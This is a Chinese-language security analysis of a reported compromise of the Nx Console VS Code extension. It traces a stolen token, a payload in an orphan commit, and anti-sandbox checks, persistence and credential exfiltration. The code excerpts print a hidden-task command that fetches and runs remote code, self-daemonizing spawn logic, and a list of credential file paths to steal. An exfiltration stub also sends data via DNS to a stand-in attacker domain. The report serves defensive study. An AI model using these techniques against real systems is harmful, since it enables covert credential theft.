你以為 Sigstore 保證安全?
摘要
2026 年 5 月 18 日,在 Nx Console VS Code 擴充功能 (版本 18.95.0)中偵測到一個重大的供應鏈入侵事件,影響了這個擁有超過 220 萬次安裝的熱門開發工具。這份研究報告提供了技術深究,涵蓋了多階段感染鏈、透過 Dangling orphan commits 傳遞的混淆 Payload,以及攻擊者採用的進階 Credential 收集手法。此事件突顯了威脅環境的演變:合法的 IDE 擴充功能被用作大規模企業資料外洩的樞紐點 [1]。
1. 簡介
像 Visual Studio Code 這樣的整合開發環境是現代軟體工程的主要介面。然而,這些平台的擴充性也引入了顯著的攻擊面。 Nx Console 的入侵事件代表了一場精密的供應鏈攻擊,透過汙染一個受信任的散佈管道,繞過了傳統的安全邊界。與先前直接針對 npm packages 的攻擊不同,這次事件轉向 VS Code Marketplace,利用遭竊的貢獻者 Credentials 發布了一個惡意版本,該版本在線上存活了大約 11 分鐘 [1]。影響規模尤其令人擔憂,因為 Nx Console 擴充功能是 monorepo 開發社群中的標準工具,用於處理複雜的建置與編排任務。透過入侵這樣一個核心工具,攻擊者取得了進入數千個企業開發環境的潛在存取權,這些環境中經常處理敏感的原始碼和基礎設施 Secrets。此策略的轉變——從汙染個別程式庫轉向汙染用來管理它們的工具——標誌著供應鏈攻擊戰術的重大演進。
2. 攻擊向量與初始存取
攻擊鏈是透過竊取一位貢獻者的
GitHub Personal Access Token (PAT)
啟動的。這個 Token 讓攻擊者能夠將內容推送到官方
nrwl/nx
Repository,隨後也獲得了發布到 VS Code Marketplace 所需的 Credentials [1]。該方法與在其他近期供應鏈事件中觀察到的模式相似,這些事件中開發者的 Credentials 是透過先前的入侵或不當設定的 CI/CD Pipeline 被竊取 [2]。
2.1 Dangling orphan Commit
這次攻擊中的一項關鍵技術創新是使用了
Dangling orphan commit
(SHA:
558b09d7
) 來託管惡意 Payload。透過推送一個沒有父節點也沒有分支參照的 commit,攻擊者讓 Payload 無法透過標準的 Repository 瀏覽方式存取,但仍可透過 GitHub API 使用直接的 SHA 參照來存取 [1]。這項技術利用了 Git 與 GitHub 架構中的特定行為:推送到 Repository 的物件即使沒有關聯到任何命名的分支或標籤,仍然會持續存在。對安全研究人員與自動化掃描器來說,這創造了一個「盲點」,因為傳統的掃描工具通常專注於主要分支或活躍的開發流。攻擊者能夠將一個 498 KB 的 Payload 隱藏在一個大型開源專案的官方 Repository 中,這展現了他們對版本控制系統內部機制及其固有安全限制的深刻理解。
| 檔案 | 內容描述 |
|---|---|
| package.json |
定義了惡意 Package
nx-next
及其對
Bun
執行環境的依賴。
|
| index.js | 一個 498 KB 的混淆 JavaScript Dropper,包含多個加密的二進位 Blob。 |
3. 技術執行流程
執行流程分為幾個階段,從擴充功能啟動到最終建立一個持久化的 Backdoor。
3.1 階段 1:啟動與 Payload 擷取
啟動後,遭到入侵的擴充功能會注入一個隱藏任務,該任務使用
npx
從 Orphan commit 擷取並執行 Payload。以下程式碼片段說明了反混淆後的注入邏輯:
- // Analysis of the malicious injection in main.js
- // This function is triggered during extension activation
- // It leverages the VS Code Task API to execute shell commands silently
- async function Uxs(t, e) {
- // Constructing the npx command to fetch the orphan commit
- // The -y flag bypasses the prompt for installing the package
- let n = `npx -y github:nrwl/nx#558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2`;
- // Creating a background VS Code Task to execute the command
- // The task is scoped to the current workspace to avoid global detection
- let i = new U0.Task(
- { type: "nx" },
- U0.TaskScope.Workspace,
- "install-mcp-extension", // Disguised task name to mimic legitimate Nx features
- "nx",
- new U0.ShellExecution(n, {
- cwd: e,
- env: { ...process.env, NX_CONSOLE: "true" }
- })
- );
- // Ensuring the task is hidden from the user's focus
- // This prevents the terminal panel from popping up and alerting the developer
- i.presentationOptions.focus = false;
- // Execution starts silently in the background
- }
3.2 階段 2:反分析與 Gatekeeping
為了躲避自動化沙箱的偵測,Payload 實作了多項 Gatekeeping 檢查。如果 CPU 核心數少於 4,它就會退出,藉此跳過大多數輕量級分析 VM [1]。此外,它還會根據系統時區使用地理定位過濾,以避免在特定區域執行,這項手法也出現在 GlassWorm Loader 中,該 Loader 會排除俄語地區 [2]。
3.3 階段 3:Self-Daemonization
一旦環境驗證完畢,Payload 會將自己複製(fork)為一個分離的背景 Process,以確保即使初始的 VS Code 任務被終止,仍能維持 Persistence。
- // Analysis of the self-daemonization logic
- // This function ensures the malicious process continues running
- // even after the initial VS Code task completes
- function h1() {
- // Check if already daemonized to prevent infinite recursion
- if (process.env.__DAEMONIZED) return false;
- // Spawning a detached child process inheriting the current environment
- // The use of 'detached: true' allows the child to run independently
- spawn(process.execPath, process.argv.slice(1), {
- detached: true,
- stdio: 'ignore', // Disconnecting standard I/O to remain invisible to the user
- cwd: process.cwd(),
- env: { ...process.env, __DAEMONIZED: '1' } // Setting a flag to indicate daemonization
- });
- // Unreferencing the child process to allow the parent process to exit cleanly
- // This makes the daemon process a background orphan process
- child.unref();
- return true;
- }
4. Credential 收集與外洩
Daemon Process 會執行多個專門的 Collector 類別,用途為收集高價值的 Credentials。值得注意的是,這個 Payload 的目標是
AI 程式設計助手
的設定檔,具體來說是
~/.claude/settings.json
,這標誌著供應鏈攻擊瞄準了 AI 整合的開發工作流程中的新領域 [1]。隨著 AI 輔助編碼變得普及,這些工具設定檔通常包含敏感的 API Keys、專案特定的提示詞,甚至可能包含專有程式碼的快取片段。包含針對 AI 的 Collector 這一事實表明,威脅攻擊者正在積極監控開發者的趨勢,並調整他們的工具集以利用新型態的敏感資料。此外,Payload 能夠整合
Sigstore
(一個供應鏈透明度的標準)尤其令人擔憂。透過發出 Fulcio 憑證並產生 SLSA 出處證明,攻擊者理論上可以發布看似經過密碼驗證的惡意下游 Packages,有效地透過合法的安全框架「洗白」惡意程式碼。
| 目標類別 | 收集的特定資產 |
|---|---|
| 雲端基礎設施 | AWS credentials, Kubernetes configs, HashiCorp Vault tokens. |
| CI/CD 與 DevOps |
GitHub/npm OIDC tokens, SSH 私鑰,
.env
檔案。
|
| 身分識別與 AI | 1Password vaults, Claude Code settings, 瀏覽器 Cookie。 |
外洩作業透過三個備援通道執行:HTTPS、GitHub API 以及 DNS tunneling 。使用 DNS tunneling 提供了一個有彈性的後備機制,通常能夠繞過傳統的防火牆規則 [1]。在許多企業環境中,對外的 HTTPS 流量會受到嚴格監控或透過代理伺服器進行檢查。然而,DNS Query 通常被允許相對無阻礙地通過,以確保網路功能正常。透過將竊取的資料編碼到 DNS Query 中(例如作為攻擊者控制之網域的子網域),惡意軟體可以繞過複雜的網路防禦。多通道方法確保即使某一種外洩方法被偵測並封鎖,竊取的 Credentials 仍然可以透過其他更隱蔽的方式到達攻擊者的基礎設施。這種備援機制是進階持續性威脅 (Advanced Persistent Threat, APT) 組織的一大特徵,他們將成功傳送竊取資料的優先級置於操作速度之上。
5. Persistence 與命令與控制 (C2)
在 macOS 系統上,Payload 會安裝一個使用 Python 的持久化 Backdoor。這個 Backdoor 使用 GitHub Search API 作為接收命令的 Dead-drop,類似於 GlassWorm Loader 利用 Solana 區塊鏈備忘錄來解析 C2 的方式 [2]。
- // Detailed technical analysis of the credential collector logic
- // The payload uses a systematic approach to scan for sensitive files
- const collectors = {
- vault: ["~/.vault-token", "/etc/vault/token"],
- aws: ["~/.aws/credentials", "~/.aws/config"],
- ai_assistant: ["~/.claude/settings.json", "~/.anthropic/config"], // AI credentials
- k8s: ["~/.kube/config", "/etc/kubernetes/admin.conf"],
- ssh: ["~/.ssh/id_rsa", "~/.ssh/known_hosts"],
- npm: ["~/.npmrc"]
- };
- // Technical implementation of the exfiltration routine
- // It prioritizes stealth and redundancy
- async function exfiltrate(data) {
- // Channel 1: HTTPS POST with encrypted payload
- // Uses a rotating list of C2 domains to avoid domain-based blocking
- // Channel 2: DNS Tunneling as a fallback
- // Encodes data into subdomains: <encoded-data>.attacker-domain.com
- // Channel 3: GitHub API as a Dead-Drop
- // Posts encrypted data to issues or gists in a compromised repository
- }
6. 比較分析
Nx Console 入侵事件與先前分析的幾個事件有相似特徵。使用多階段感染鏈和複雜的混淆手法是惡意 VS Code 擴充功能中反覆出現的主題 [2]。然而,整合 Sigstore 來簽署惡意的下游 Packages,以及特別針對 AI 助理 Credentials 的行為,代表了攻擊者能力的顯著升級 [1]。
7. 結論與緩解措施
Nx Console 擴充功能遭入侵的事件強調了在 IDE 擴充功能生態系統中加強安全性的迫切需求。開發者應實施嚴格的 機器防護 (Machine Guard) 政策,並監控擴充功能發起的不尋常背景任務。此外,使用 OIDC Tokens 和短期 Credentials 可以減輕 Token 遭竊的影響 [1, 2]。隨著供應鏈攻擊持續演變,開發者本機環境的安全性必須以與生產環境基礎設施同等嚴格的標準來對待。